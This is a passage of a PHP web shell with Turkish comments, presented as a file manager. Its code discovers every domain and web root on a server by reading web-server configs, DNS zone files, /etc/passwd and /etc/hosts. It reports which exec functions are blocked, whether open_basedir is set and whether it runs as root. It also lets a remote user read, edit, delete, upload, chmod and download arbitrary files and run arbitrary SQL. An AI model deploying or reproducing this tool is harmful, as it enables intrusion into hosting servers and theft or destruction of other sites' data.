if (preg_match_all('/<VirtualHost[^>]*>(.*?)<\/VirtualHost>/si', $ct, $vhs)) {
foreach ($vhs[1] as $vh) {
$sn = '';
$dr = '';
if (preg_match('/ServerName\s+(\S+)/i', $vh, $m)) $sn = trim($m[1]);
if (preg_match('/DocumentRoot\s+"?([^"\n]+)"?/i', $vh, $m)) $dr = trim($m[1]);
if ($sn && strpos($sn, '.') !== false) {
$addDomain($sn, $dr ?: 'Unknown', 'Apache VHost');
}
// ServerAlias - ek domainler
if (preg_match_all('/ServerAlias\s+(.+)/i', $vh, $ams)) {
foreach ($ams[1] as $al) {
foreach (preg_split('/\s+/', trim($al)) as $a) {
$a = trim($a);
if ($a && strpos($a, '.') !== false && strpos($a, '*') === false) {
$addDomain($a, $dr ?: 'Unknown', 'Apache VHost');
}
}
}
}
}
}
}
}
// ===== 10. GENERIC: Nginx config dosyalari (nginx -T yakalayamazsa diye) =====
$ngdirs = [
'/etc/nginx/conf.d', '/etc/nginx/sites-enabled', '/etc/nginx/sites-available',
'/usr/local/nginx/conf/vhosts'
];
foreach ($ngdirs as $dir) {
if (!@is_dir($dir) || !@is_readable($dir)) continue;
$files = @scandir($dir);
if (!$files) continue;
foreach ($files as $file) {
if ($file[0] === '.') continue;
$fp = $dir . '/' . $file;
if (!@is_file($fp) || !@is_readable($fp)) continue;
$ct = @file_get_contents($fp);
if (!$ct) continue;
if (preg_match_all('/server\s*\{((?:[^{}]|(?:\{(?:[^{}]|\{[^{}]*\})*\}))*)\}/si', $ct, $svs)) {
foreach ($svs[1] as $sv) {
$root = '';
if (preg_match('/root\s+([^;]+);/i', $sv, $m)) $root = trim($m[1]);
if (preg_match_all('/server_name\s+([^;]+);/i', $sv, $snm)) {
foreach ($snm[1] as $sn_line) {
foreach (preg_split('/\s+/', trim($sn_line)) as $name) {
$name = trim($name);
if (!$name || $name === '_' || $name === 'localhost' || strpos($name, '*') !== false) continue;
if (strpos($name, '.') !== false) {
$addDomain($name, $root ?: 'Unknown', 'Nginx');
}
}
}
}
}
}
}
}
// ===== 11. Named/BIND DNS zone dosyalari =====
foreach (['/etc/named.conf', '/etc/bind/named.conf', '/etc/bind/named.conf.local', '/var/named/chroot/etc/named.conf'] as $ncf) {
$ct = @file_get_contents($ncf);
if (!$ct) continue;
if (preg_match_all('/zone\s+"([^"]+)"/i', $ct, $ms)) {
foreach ($ms[1] as $z) {
$z = trim($z);
if (strpos($z, '.') !== false && !preg_match('/in-addr\.arpa|ip6\.arpa/i', $z)) {
$addDomain($z, 'Unknown', 'DNS Zone');
}
}
}
}
// ===== 12. GENERIC: Filesystem taramasi (panelsiz sunucular icin) =====
// /home/ altindaki tum olasi domain yapilari
if (is_dir('/home')) {
$home_users = @scandir('/home');
if ($home_users) {
foreach ($home_users as $hu) {
if ($hu[0] === '.' || !@is_dir('/home/' . $hu)) continue;
$hu_path = '/home/' . $hu;
// /home/USER/public_html, /home/USER/www, /home/USER/htdocs (panelsiz veya custom)
foreach (['public_html', 'www', 'htdocs', 'html', 'web'] as $webdir) {
$wp = $hu_path . '/' . $webdir;
if (@is_dir($wp) && strpos($hu, '.') !== false) {
$addDomain($hu, $wp, 'Server');
}
}
// /home/USER/domains/DOMAIN/public_html (DirectAdmin vb.)
$dom_dir = $hu_path . '/domains';
if (@is_dir($dom_dir)) {
$doms = @scandir($dom_dir);
if ($doms) {
foreach ($doms as $dd) {
if ($dd[0] === '.') continue;
if (@is_dir($dom_dir . '/' . $dd) && strpos($dd, '.') !== false) {
$pub = $dom_dir . '/' . $dd . '/public_html';
$addDomain($dd, @is_dir($pub) ? $pub : $dom_dir . '/' . $dd, 'Server');
}
}
}
}
// /home/USER/web/DOMAIN (Hestia/Vesta vb.)
$web_dir = $hu_path . '/web';
if (@is_dir($web_dir)) {
$wds = @scandir($web_dir);
if ($wds) {
foreach ($wds as $wd) {
if ($wd[0] === '.') continue;
if (@is_dir($web_dir . '/' . $wd) && strpos($wd, '.') !== false) {
$pub = $web_dir . '/' . $wd . '/public_html';
$addDomain($wd, @is_dir($pub) ? $pub : $web_dir . '/' . $wd, 'Server');
}
}
}
}
// /home/DOMAIN/public_html (CyberPanel vb. - dizin adi domain ise)
if (strpos($hu, '.') !== false && @is_dir($hu_path . '/public_html')) {
$addDomain($hu, $hu_path . '/public_html', 'Server');
}
}
}
}
// /var/www/ altindaki domain-isimli dizinler
$var_www_dirs = ['/var/www', '/var/www/html', '/var/www/vhosts', '/srv/www', '/srv/www/htdocs'];
foreach ($var_www_dirs as $vwd) {
if (!@is_dir($vwd) || !@is_readable($vwd)) continue;
$entries = @scandir($vwd);
if (!$entries) continue;
foreach ($entries as $e) {
if ($e[0] === '.' || in_array($e, ['default', 'system', 'chroot', 'html', 'cgi-bin', 'icons', 'error', 'backends', 'projects'])) continue;
if (@is_dir($vwd . '/' . $e) && strpos($e, '.') !== false && preg_match('/\.[a-z]{2,}$/i', $e)) {
$possible_roots = [$vwd.'/'.$e.'/httpdocs', $vwd.'/'.$e.'/public_html', $vwd.'/'.$e.'/html', $vwd.'/'.$e.'/www', $vwd.'/'.$e.'/htdocs', $vwd.'/'.$e.'/web'];
$found_root = $vwd . '/' . $e;
foreach ($possible_roots as $pr) {
if (@is_dir($pr)) { $found_root = $pr; break; }
}
$addDomain($e, $found_root, 'Server');
}
}
}
// /www/wwwroot/ (aaPanel vb.)
if (is_dir('/www/wwwroot')) {
$wrs = @scandir('/www/wwwroot');
if ($wrs) {
foreach ($wrs as $wr) {
if ($wr[0] === '.' || $wr === 'default') continue;
if (@is_dir('/www/wwwroot/' . $wr) && strpos($wr, '.') !== false) {
$addDomain($wr, '/www/wwwroot/' . $wr, 'Server');
}
}
}
}
// ===== 13. /etc/passwd tabanli kesif (root degilsen bile calisir) =====
$passwd_lines = @file('/etc/passwd', FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
if ($passwd_lines) {
foreach ($passwd_lines as $pl) {
$parts = explode(':', $pl);
if (count($parts) < 6) continue;
$user = $parts[0];
$home = $parts[5];
// Sistem kullanicilarini atla
if (!$home || strpos($home, '/home') !== 0 || in_array($user, ['root','nobody','mail','daemon','bin','sys','www-data','apache','nginx','mysql','postgres'])) continue;
// Her kullanici icin bilinen panel yapilarini dene
// Plesk: /var/www/vhosts/ altinda olmayabilir ama username domain olabilir
// cPanel: /home/USER/public_html + addon domainler
// DirectAdmin: /home/USER/domains/DOMAIN/public_html
// Genel: /home/USER/public_html, /home/USER/www
// cPanel: /home/USER/ altindaki domain isimli dizinler
if (@is_dir($home)) {
$user_dirs = @scandir($home);
if ($user_dirs) {
foreach ($user_dirs as $ud) {
if ($ud[0] === '.') continue;
// Domain isimli dizin var mi?
if (@is_dir($home . '/' . $ud) && strpos($ud, '.') !== false && preg_match('/\.[a-z]{2,}$/i', $ud)) {
// public_html varsa doc_root olarak kullan
$possible = [$home.'/'.$ud.'/public_html', $home.'/'.$ud.'/httpdocs', $home.'/'.$ud.'/www', $home.'/'.$ud.'/html', $home.'/'.$ud];
$dr = $home . '/' . $ud;
foreach ($possible as $pp) {
if (@is_dir($pp)) { $dr = $pp; break; }
}
$addDomain($ud, $dr, 'Server');
}
}
}
}
// Kullanici adi domain gibi gorunuyorsa
if (strpos($user, '.') !== false && preg_match('/\.[a-z]{2,}$/i', $user)) {
$pub = $home . '/public_html';
$addDomain($user, @is_dir($pub) ? $pub : $home, 'Server');
}
}
}
// ===== 14. /etc/hosts fallback =====
if (empty($domains)) {
$lines = @file('/etc/hosts', FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
if ($lines) {
foreach ($lines as $line) {
$line = trim($line);
if (!$line || $line[0] === '#') continue;
$parts = preg_split('/\s+/', $line);
for ($i = 1; $i < count($parts); $i++) {
$h = trim($parts[$i]);
if ($h !== 'localhost' && $h !== 'localhost.localdomain' && strpos($h, '.') !== false) {
$addDomain($h, 'Unknown', '/etc/hosts');
}
}
}
}
}
// ===== 15. $_SERVER garantisi - mevcut domain her zaman eklenir =====
$current_host = '';
if (isset($_SERVER['HTTP_HOST'])) $current_host = $_SERVER['HTTP_HOST'];
elseif (isset($_SERVER['SERVER_NAME'])) $current_host = $_SERVER['SERVER_NAME'];
if ($current_host) {
$doc = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : getcwd();
$addDomain($current_host, $doc, $detected_panel !== 'Unknown' ? $detected_panel : 'Current');
}
// Alfabetik sirala
usort($domains, function($a, $b) {
return strcasecmp($a['domain'], $b['domain']);
});
// Kisitlama teshisi
$restrictions = [];
$disabled_funcs = array_map('trim', explode(',', @ini_get('disable_functions')));
$exec_funcs = ['shell_exec', 'exec', 'popen', 'proc_open', 'system', 'passthru'];
$blocked_exec = array_intersect($exec_funcs, $disabled_funcs);
if (count($blocked_exec) === count($exec_funcs)) {
$restrictions[] = 'Tum komut calistirma fonksiyonlari devre disi (shell_exec, exec, popen vb.)';
} elseif (!empty($blocked_exec)) {
$restrictions[] = 'Devre disi fonksiyonlar: ' . implode(', ', $blocked_exec);
}
$open_basedir = @ini_get('open_basedir');
if ($open_basedir) {
$restrictions[] = 'open_basedir aktif: ' . $open_basedir;
}
if (function_exists('posix_getuid') && posix_getuid() !== 0) {
$restrictions[] = 'Root degil (UID: ' . posix_getuid() . ')';
}
return [
'panel' => $detected_panel,
'domains' => $domains,
'count' => count($domains),
'status' => true,
'restrictions' => $restrictions
];
}
// ==================== FILE OPERATIONS ====================
function listDirectory($dir) {
$files = [];
if (!is_readable($dir)) return $files;
$items = @scandir($dir);
if ($items === false) return $files;
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$path = $dir . DIRECTORY_SEPARATOR . $item;
$is_dir = is_dir($path);
$files[] = [
'name' => $item,
'path' => $path,
'is_dir' => $is_dir,
'size' => $is_dir ? 0 : (@filesize($path) ?: 0),
'formatted_size' => $is_dir ? '-' : formatSize(@filesize($path) ?: 0),
'permissions' => substr(sprintf('%o', @fileperms($path) ?: 0), -4),
'modified' => date('Y-m-d H:i:s', @filemtime($path) ?: time()),
'icon' => getFileIcon($item, $is_dir)
];
}
usort($files, function($a, $b) {
if ($a['is_dir'] && !$b['is_dir']) return -1;
if (!$a['is_dir'] && $b['is_dir']) return 1;
return strcasecmp($a['name'], $b['name']);
});
return $files;
}
function getFileIcon($filename, $is_dir) {
if ($is_dir) return '📁';
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
$icons = [
'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '⚡',
'txt' => '📄', 'pdf' => '📕', 'doc' => '📘', 'docx' => '📘',
'xls' => '📗', 'xlsx' => '📗', 'ppt' => '📙', 'pptx' => '📙',
'zip' => '📦', 'rar' => '📦', '7z' => '📦', 'tar' => '📦', 'gz' => '📦',
'jpg' => '🖼', 'jpeg' => '🖼', 'png' => '🖼', 'gif' => '🖼', 'svg' => '🖼',
'mp3' => '🎵', 'wav' => '🎵', 'mp4' => '🎤', 'avi' => '🎤',
'sql' => '🗄', 'db' => '🗄', 'json' => '📋', 'xml' => '📋'
];
return $icons[$ext] ?? '📄';
}
function handleFileOperation($operation, $data) {
switch ($operation) {
case 'create_file':
return createFile($data['filename'] ?? '', $data['content'] ?? '');
case 'create_folder':
return createFolder($data['foldername'] ?? '');
case 'edit_file':
return editFile($data['filepath'] ?? '', $data['content'] ?? '');
case 'delete_item':
return deleteItem($data['filepath'] ?? '');
case 'download':
return downloadFile($data['filepath'] ?? '');
case 'zip_item':
return zipItem($data['filepath'] ?? '');
case 'unzip_file':
return unzipFile($data['filepath'] ?? '');
case 'upload':
return handleUpload();
case 'rename_item':
return renameItem($data['filepath'] ?? '', $data['newname'] ?? '');
case 'chmod_item':
return chmodItem($data['filepath'] ?? '', $data['permissions'] ?? '');
default:
return ['status' => false, 'message' => 'Invalid file operation'];
}
}
function createFile($filename, $content = '') {
$filename = sanitizeInput($filename, 'filename');
if (empty($filename)) return ['status' => false, 'message' => 'Invalid filename provided'];
$filepath = getcwd() . DIRECTORY_SEPARATOR . $filename;
if (file_exists($filepath)) return ['status' => false, 'message' => 'File already exists'];
if (@file_put_contents($filepath, $content, LOCK_EX) !== false) {
return ['status' => true, 'message' => "File '$filename' created successfully"];
}
return ['status' => false, 'message' => 'Failed to create file'];
}
function createFolder($foldername) {
$foldername = sanitizeInput($foldername, 'filename');
if (empty($foldername)) return ['status' => false, 'message' => 'Invalid folder name provided'];
$folderpath = getcwd() . DIRECTORY_SEPARATOR . $foldername;
if (file_exists($folderpath)) return ['status' => false, 'message' => 'Folder already exists'];
if (@mkdir($folderpath, 0755, true)) {
return ['status' => true, 'message' => "Folder '$foldername' created successfully"];
}
return ['status' => false, 'message' => 'Failed to create folder'];
}
function editFile($filepath, $content) {
$filepath = sanitizeInput($filepath, 'path');
if (!file_exists($filepath)) return ['status' => false, 'message' => 'File not found'];
if (!is_writable($filepath)) return ['status' => false, 'message' => 'File is not writable'];
if (@file_put_contents($filepath, $content, LOCK_EX) !== false) {
return ['status' => true, 'message' => 'File saved successfully'];
}
return ['status' => false, 'message' => 'Failed to save file'];
}
function deleteItem($filepath) {
$filepath = sanitizeInput($filepath, 'path');
if (!file_exists($filepath)) return ['status' => false, 'message' => 'File or folder not found'];
if (is_dir($filepath)) {
if (removeDirectory($filepath)) return ['status' => true, 'message' => 'Folder deleted successfully'];
} else {
if (@unlink($filepath)) return ['status' => true, 'message' => 'File deleted successfully'];
}
return ['status' => false, 'message' => 'Failed to delete item'];
}
function removeDirectory($dir) {
if (!is_dir($dir)) return false;
$files = array_diff(scandir($dir), ['.', '..']);
foreach ($files as $file) {
$path = $dir . DIRECTORY_SEPARATOR . $file;
is_dir($path) ? removeDirectory($path) : @unlink($path);
}
return @rmdir($dir);
}
function downloadFile($filepath) {
$filepath = sanitizeInput($filepath, 'path');
if (!file_exists($filepath) || !is_readable($filepath)) {
header('HTTP/1.0 404 Not Found');
echo 'File not found or not readable';
exit;
}
$filename = basename($filepath);
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . $filename . '"');
header('Content-Length: ' . filesize($filepath));
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Expires: 0');
readfile($filepath);
exit;
}
function zipItem($filepath) {
$filepath = sanitizeInput($filepath, 'path');
if (!file_exists($filepath)) return ['status' => false, 'message' => 'File or folder not found'];
if (!class_exists('ZipArchive')) return ['status' => false, 'message' => 'ZipArchive class not available'];
$zip_filename = basename($filepath) . '_' . date('Ymd_His') . '.zip';
$zip = new ZipArchive();
if ($zip->open($zip_filename, ZipArchive::CREATE) !== TRUE) {
return ['status' => false, 'message' => 'Failed to create ZIP file'];
}
if (is_dir($filepath)) {
$iterator = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($filepath, RecursiveDirectoryIterator::SKIP_DOTS),
RecursiveIteratorIterator::SELF_FIRST
);
foreach ($iterator as $file) {
if ($file->isDir()) {
$zip->addEmptyDir(str_replace($filepath . DIRECTORY_SEPARATOR, '', $file->getPathname()));
} else {
$zip->addFile($file->getPathname(), str_replace($filepath . DIRECTORY_SEPARATOR, '', $file->getPathname()));
}
}
} else {
$zip->addFile($filepath, basename($filepath));
}
$zip->close();
if (file_exists($zip_filename)) {
return ['status' => true, 'message' => "ZIP file '$zip_filename' created successfully"];
}
return ['status' => false, 'message' => 'Failed to create ZIP file'];
}
function unzipFile($filepath) {
$filepath = sanitizeInput($filepath, 'path');
if (!file_exists($filepath) || strtolower(pathinfo($filepath, PATHINFO_EXTENSION)) !== 'zip') {
return ['status' => false, 'message' => 'ZIP file not found'];
}
if (!class_exists('ZipArchive')) return ['status' => false, 'message' => 'ZipArchive class not available'];
$zip = new ZipArchive();
if ($zip->open($filepath) !== TRUE) return ['status' => false, 'message' => 'Failed to open ZIP file'];
$extract_path = pathinfo($filepath, PATHINFO_FILENAME) . '_extracted_' . date('Ymd_His');
@mkdir($extract_path, 0755, true);
if ($zip->extractTo($extract_path)) {
$zip->close();
return ['status' => true, 'message' => "ZIP file extracted to '$extract_path'"];
}
$zip->close();
return ['status' => false, 'message' => 'Failed to extract ZIP file'];
}
function handleUpload() {
if (!isset($_FILES['upload_file'])) return ['status' => false, 'message' => 'No file uploaded'];
$file = $_FILES['upload_file'];
if ($file['error'] !== UPLOAD_ERR_OK) {
$error_messages = [
UPLOAD_ERR_INI_SIZE => 'File too large (exceeds php.ini limit)',
UPLOAD_ERR_FORM_SIZE => 'File too large (exceeds form limit)',
UPLOAD_ERR_PARTIAL => 'File partially uploaded',
UPLOAD_ERR_NO_FILE => 'No file uploaded',
UPLOAD_ERR_NO_TMP_DIR => 'No temporary directory',
UPLOAD_ERR_CANT_WRITE => 'Cannot write to disk',
UPLOAD_ERR_EXTENSION => 'Upload stopped by extension'
];
return ['status' => false, 'message' => $error_messages[$file['error']] ?? 'Unknown upload error'];
}
if ($file['size'] > MAX_UPLOAD_SIZE) {
return ['status' => false, 'message' => 'File too large. Max size: ' . formatSize(MAX_UPLOAD_SIZE)];
}
$filename = sanitizeInput($file['name'], 'filename');
$destination = getcwd() . DIRECTORY_SEPARATOR . $filename;
if (file_exists($destination)) {
$filename = pathinfo($filename, PATHINFO_FILENAME) . '_' . time() . '.' . pathinfo($filename, PATHINFO_EXTENSION);
$destination = getcwd() . DIRECTORY_SEPARATOR . $filename;
}
if (@move_uploaded_file($file['tmp_name'], $destination)) {
return ['status' => true, 'message' => "File '$filename' uploaded successfully"];
}
return ['status' => false, 'message' => 'Failed to upload file'];
}
function renameItem($filepath, $newname) {
$filepath = sanitizeInput($filepath, 'path');
$newname = sanitizeInput($newname, 'filename');
if (!file_exists($filepath)) return ['status' => false, 'message' => 'Item not found'];
if (empty($newname)) return ['status' => false, 'message' => 'New name is required'];
$dir = dirname($filepath);
$newpath = $dir . DIRECTORY_SEPARATOR . $newname;
if (file_exists($newpath)) return ['status' => false, 'message' => 'An item with that name already exists'];
if (@rename($filepath, $newpath)) {
return ['status' => true, 'message' => 'Renamed successfully'];
}
return ['status' => false, 'message' => 'Failed to rename'];
}
function chmodItem($filepath, $permissions) {
$filepath = sanitizeInput($filepath, 'path');
if (!file_exists($filepath)) return ['status' => false, 'message' => 'Item not found'];
$perms = octdec($permissions);
if (@chmod($filepath, $perms)) {
return ['status' => true, 'message' => "Permissions changed to $permissions"];
}
return ['status' => false, 'message' => 'Failed to change permissions'];
}
// ==================== DOWNLOAD ENDPOINT ====================
if (isset($_GET['action']) && $_GET['action'] === 'file_operation' &&
isset($_GET['operation']) && $_GET['operation'] === 'download' &&
isset($_GET['filepath'])) {
$data = ['filepath' => sanitizeInput($_GET['filepath'], 'path')];
handleFileOperation('download', $data);
}
// ==================== AJAX HANDLERS ====================
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action'])) {
// Onceki tum ciktilari temizle (PHP hata/warning mesajlari JSON'u bozmasin)
while (@ob_get_level()) @ob_end_clean();
@error_reporting(0);
@ini_set('display_errors', 0);
header('Content-Type: application/json; charset=utf-8');
switch ($_POST['action']) {
case 'file_operation':
$operation = $_POST['operation'] ?? '';
$result = handleFileOperation($operation, $_POST);
echo json_encode($result);
break;
case 'change_directory':
$new_dir = sanitizeInput($_POST['directory'] ?? '', 'path');
if (@chdir($new_dir)) {
echo json_encode([
'status' => true,
'message' => 'Directory changed successfully',
'current_dir' => getcwd()
]);
} else {
echo json_encode(['status' => false, 'message' => 'Failed to change directory']);
}
break;
case 'get_file_content':
$filepath = sanitizeInput($_POST['filepath'] ?? '', 'path');
if (file_exists($filepath) && is_readable($filepath)) {
$content = @file_get_contents($filepath);
echo json_encode([
'status' => true,
'content' => $content,
'filename' => basename($filepath)
]);
} else {
echo json_encode(['status' => false, 'message' => 'File not found or not readable']);
}
break;
case 'find_domains':
$result = findAllDomains();
echo json_encode($result);
break;
case 'execute_sql':
$db_host = isset($_POST['db_host']) && $_POST['db_host'] !== '' ? $_POST['db_host'] : 'localhost';
$db_user = $_POST['db_user'] ?? '';
$db_pass = $_POST['db_pass'] ?? '';
$db_name = $_POST['db_name'] ?? '';
$sql_query = $_POST['sql_query'] ?? '';
if (empty($db_user) || empty($db_name) || empty($sql_query)) {
echo json_encode(['status' => false, 'message' => 'Kullanici adi, veritabani adi ve SQL sorgusu zorunludur.']);
break;
}
$conn = @new mysqli($db_host, $db_user, $db_pass, $db_name);
if ($conn->connect_error) {
echo json_encode(['status' => false, 'message' => 'Baglanti Hatasi: ' . $conn->connect_error]);
break;
}
$conn->set_charset('utf8mb4');
$result = $conn->query($sql_query);
if ($result === true) {
echo json_encode(['status' => true, 'html' => '<div class="result-item result-success">Sorgu basariyla calistirildi! Etkilenen satir: ' . $conn->affected_rows . '</div>', 'type' => 'execute']);
} elseif ($result) {
$html = '<table class="file-table" style="width:100%;"><thead><tr>';
$fields = $result->fetch_fields();
foreach ($fields as $field) {
$html .= '<th>' . htmlspecialchars($field->name) . '</th>';
}
$html .= '</tr></thead><tbody>';
$row_count = 0;
while ($row = $result->fetch_assoc()) {
$html .= '<tr>';
foreach ($row as $val) {
$html .= '<td>' . htmlspecialchars((string)$val) . '</td>';
}
$html .= '</tr>';
$row_count++;
}
$html .= '</tbody></table>';
$html .= '<div style="margin-top:10px;color:var(--text-secondary);font-size:13px;">Toplam ' . $row_count . ' satir getirildi.</div>';
echo json_encode(['status' => true, 'html' => $html, 'type' => 'select', 'rows' => $row_count]);
} else {
echo json_encode(['status' => false, 'message' => 'SQL Hatasi: ' . $conn->error]);
}
$conn->close();
break;
default:
echo json_encode(['status' => false, 'message' => 'Invalid action']);
}
exit;
}
// ==================== HTML INTERFACE ====================
$files = listDirectory($current_dir);
$system_info = getSystemInfo();
?>
<!DOCTYPE html>
<html lang="tr">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title><?php echo APP_NAME; ?> v<?php echo APP_VERSION; ?></title>
<link rel="icon" href="data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 100 100'><text y='.9em' font-size='90'>📁</text></svg>">
<style>
* { margin: 0; padding: 0; box-sizing: border-box; }
:root {
--bg: #1a1a2e;
--card: #16213e;
--border: #2a2a4a;
--text: #e2e8f0;
--text-dim: #94a3b8;
--primary: #6366f1;
--success: #10b981;
--error: #ef4444;
--warning: #f59e0b;
}
body {
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
background: var(--bg);
color: var(--text);
min-height: 100vh;
line-height: 1.6;
}
.header {
background: var(--card);
padding: 15px 30px;
border-bottom: 1px solid var(--border);
position: sticky;
top: 0;
z-index: 100;
display: flex;
align-items: center;
justify-content: space-between;
}
.header-left { display: flex; align-items: center; gap: 15px; }
.header h1 { font-size: 22px; color: var(--primary); font-weight: 700; }
.header-right { display: flex; align-items: center; gap: 15px; font-size: 12px; color: var(--text-dim); }
.header-right a { color: var(--primary); text-decoration: none; padding: 6px 14px; background: rgba(99, 102, 241, 0.1); border-radius: 6px; border: 1px solid var(--border); }
.header-right a:hover { background: rgba(99, 102, 241, 0.2); }
.container { max-width: 1400px; margin: 20px auto; padding: 0 20px; }
.tabs { display: flex; flex-wrap: wrap; gap: 5px; margin-bottom: 20px; background: var(--card); padding: 8px; border-radius: 10px; border: 1px solid var(--border); }
.tab-btn { padding: 10px 18px; border: none; background: transparent; color: var(--text-dim); cursor: pointer; border-radius: 6px; font-size: 13px; display: flex; align-items: center; gap: 6px; white-space: nowrap; }
.tab-btn:hover { background: rgba(99, 102, 241, 0.1); color: var(--text); }
.tab-btn.active { background: var(--primary); color: white; font-weight: 600; }
.tab-content { display: none; }
.tab-content.active { display: block; }
.card { background: var(--card); border-radius: 10px; border: 1px solid var(--border); padding: 25px; margin-bottom: 20px; }
.card-header { display: flex; align-items: center; justify-content: space-between; margin-bottom: 20px; padding-bottom: 15px; border-bottom: 1px solid var(--border); }
.card-title { font-size: 18px; color: var(--primary); font-weight: 700; }
.breadcrumb { background: var(--bg); padding: 12px 18px; border-radius: 8px; margin-bottom: 15px; font-size: 13px; display: flex; align-items: center; gap: 10px; flex-wrap: wrap; border: 1px solid var(--border); }
.breadcrumb a { color: var(--primary); text-decoration: none; }
.breadcrumb a:hover { text-decoration: underline; }
.breadcrumb input { flex: 1; min-width: 200px; padding: 6px 12px; background: var(--card); border: 1px solid var(--border); color: var(--text); border-radius: 6px; font-size: 13px; }
.breadcrumb input:focus { outline: none; border-color: var(--primary); }
.btn { padding: 8px 16px; border: none; border-radius: 6px; cursor: pointer; font-size: 13px; font-weight: 600; display: inline-flex; align-items: center; gap: 5px; text-decoration: none; color: white; }
.btn-primary { background: var(--primary); }
.btn-primary:hover { opacity: 0.9; }
.btn-success { background: var(--success); }
.btn-success:hover { opacity: 0.9; }
.btn-danger { background: var(--error); }
.btn-danger:hover { opacity: 0.9; }
.btn-warning { background: var(--warning); }
.btn-warning:hover { opacity: 0.9; }
.btn-info { background: #3b82f6; }
.btn-info:hover { opacity: 0.9; }
.btn-secondary { background: #4a5568; }
.btn-secondary:hover { opacity: 0.9; }
.btn-sm { padding: 5px 10px; font-size: 12px; }
.file-table { width: 100%; border-collapse: collapse; font-size: 13px; }
.file-table th { background: var(--bg); padding: 10px 12px; text-align: left; font-weight: 600; color: var(--text-dim); border-bottom: 1px solid var(--border); white-space: nowrap; }
.file-table td { padding: 8px 12px; border-bottom: 1px solid var(--border); vertical-align: middle; }
.file-table tr:hover { background: rgba(99, 102, 241, 0.05); }
.file-name { display: inline-flex; align-items: center; gap: 8px; color: var(--text); text-decoration: none; }
.file-name:hover { color: var(--primary); }
.file-icon { font-size: 16px; }
.file-actions { display: flex; gap: 8px; flex-wrap: wrap; margin-bottom: 15px; }
.file-actions-cell { display: flex; gap: 4px; flex-wrap: wrap; }
.copy-name-btn { background: none; border: none; cursor: pointer; font-size: 12px; opacity: 0.4; padding: 2px 4px; border-radius: 4px; vertical-align: middle; }
.copy-name-btn:hover { opacity: 1; background: rgba(99, 102, 241, 0.1); }
.copy-name-btn.copied { opacity: 1; color: var(--success); }
.form-group { margin-bottom: 15px; }
.form-label { display: block; margin-bottom: 6px; color: var(--text-dim); font-size: 13px; font-weight: 600; }
.form-control { width: 100%; padding: 10px 14px; background: var(--bg); border: 1px solid var(--border); color: var(--text); border-radius: 6px; font-size: 13px; font-family: inherit; }
.form-control:focus { outline: none; border-color: var(--primary); }
textarea.form-control { resize: vertical; min-height: 100px; font-family: 'Courier New', monospace; }
.alert { padding: 12px 18px; border-radius: 8px; margin-bottom: 15px; display: flex; align-items: center; gap: 10px; font-size: 13px; }
.alert-success { background: rgba(16, 185, 129, 0.1); border: 1px solid rgba(16, 185, 129, 0.3); color: var(--success); }
.alert-error { background: rgba(239, 68, 68, 0.1); border: 1px solid rgba(239, 68, 68, 0.3); color: var(--error); }
.alert-info { background: rgba(59, 130, 246, 0.1); border: 1px solid rgba(59, 130, 246, 0.3); color: #3b82f6; }
.alert-warning { background: rgba(245, 158, 11, 0.1); border: 1px solid rgba(245, 158, 11, 0.3); color: var(--warning); }
.modal { display: none; position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0, 0, 0, 0.7); z-index: 1000; align-items: center; justify-content: center; }
.modal.active { display: flex; }
.modal-content { background: var(--card); border-radius: 10px; padding: 30px; width: 90%; max-width: 700px; max-height: 90vh; overflow-y: auto; border: 1px solid var(--border); }
.modal-header { display: flex; align-items: center; justify-content: space-between; margin-bottom: 20px; padding-bottom: 15px; border-bottom: 1px solid var(--border); }
.modal-title { font-size: 18px; color: var(--primary); font-weight: 700; }
.modal-close { background: none; border: none; color: var(--text-dim); font-size: 24px; cursor: pointer; padding: 0 5px; }
.modal-close:hover { color: var(--error); }
/* Loading */
.loading { display: none; text-align: center; padding: 30px; }
.loading.active { display: block; }
.spinner {
width: 40px; height: 40px;
border: 3px solid var(--border-color);
border-top: 3px solid var(--primary-color);
border-radius: 50%;
animation: spin 0.8s linear infinite;
margin: 0 auto 15px;
}
@keyframes spin { to { transform: rotate(360deg); } }
/* Info Grid */
.info-grid {
display: grid;
grid-template-columns: repeat(auto-fill, minmax(280px, 1fr));
gap: 12px;
}
.info-item {
background: rgba(10, 10, 26, 0.5);
padding: 12px 16px;
border-radius: 10px;
border: 1px solid var(--border-color);
}
.info-label { font-size: 11px; color: var(--text-secondary); text-transform: uppercase; margin-bottom: 4px; font-weight: 600; }
.info-value { font-size: 14px; color: var(--text-primary); word-break: break-all; }
/* Result boxes */
.result-box { background: rgba(10, 10, 26, 0.5); padding: 15px; border-radius: 10px; border: 1px solid var(--border-color); }
.result-item { padding: 10px 15px; border-radius: 8px; margin-bottom: 8px; font-size: 13px; }
.result-success { background: rgba(16, 185, 129, 0.1); border: 1px solid rgba(16, 185, 129, 0.2); color: var(--success-color); }
.result-error { background: rgba(239, 68, 68, 0.1); border: 1px solid rgba(239, 68, 68, 0.2); color: var(--error-color); }
.domain-card { background: var(--bg); border: 1px solid var(--border); border-radius: 10px; padding: 15px 20px; margin-bottom: 10px; display: flex; align-items: center; justify-content: space-between; gap: 15px; }
.domain-card:hover { border-color: var(--primary); background: rgba(99, 102, 241, 0.05); }
.domain-info { flex: 1; min-width: 0; }
.domain-name { font-size: 16px; font-weight: 700; color: var(--text); margin-bottom: 4px; }
.domain-path { font-size: 12px; color: var(--text-dim); word-break: break-all; font-family: 'Courier New', monospace; }
.domain-badge { display: inline-block; padding: 2px 8px; border-radius: 4px; font-size: 10px; font-weight: 700; text-transform: uppercase; letter-spacing: 0.5px; }
.badge-plesk { background: rgba(59, 130, 246, 0.15); color: #60a5fa; border: 1px solid rgba(59, 130, 246, 0.3); }
